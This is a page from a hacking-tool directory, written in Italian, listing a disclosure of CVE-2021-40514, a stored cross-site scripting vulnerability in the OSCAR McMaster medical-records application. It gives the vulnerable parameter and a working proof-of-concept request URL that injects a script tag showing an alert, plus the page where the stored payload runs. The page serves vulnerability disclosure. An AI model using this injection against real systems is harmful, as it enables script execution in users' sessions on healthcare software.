Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-40514 — CVE-2021-40514 OSCAR McMaster 19.40~1235 Vulnerabilità di Cross-Site Scripting Memorizzato. | Kitploit
Strumenti/GitHubGitHub/war4uthor/cve-2021-40514
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubwar4uthor/cve-2021-40514

CVE-2021-40514

CVE-2021-40514 OSCAR McMaster 19.40~1235 Vulnerabilità di Cross-Site Scripting Memorizzato.

Vedi Repository
4 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-40514 OSCAR McMaster 19.40~1235 Vulnerabilità di Cross Site Scripting Memorizzato

Una vulnerabilità di Cross Site Scripting memorizzato esiste in diverse pagine della versione 19.40~1235 dell'applicazione OSCAR McMaster che consente l'esecuzione arbitraria di comandi JavaScript.

[Segnaposto per CVE mitre]

Pagine JSP vulnerabili:

providercontrol.jsp - parametro mygroupno

Esempio di Payload Vulnerabile:

/oscar/provider/providercontrol.jsp?provider_no=999998&start_hour=8&end_hour=18&every_min=15&color_template=deepblue&dboperation=updatepreference&displaymode=updatepreference&default_servicetype=&prescriptionQrCodes=false&erx_enable=false&erx_training_mode=false&mygroup_no=%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3E&programId_oscarView=0

La risposta memorizzata viene eseguita contro l'utente nel seguente link:

/oscar/provider/providercontrol.jsp?year=2021&month=8&day=1&view=0&displaymode=month&dboperation=searchappointmentmonth

Scoperto da Jack McBride, Agosto 2021

Scarica lo strumento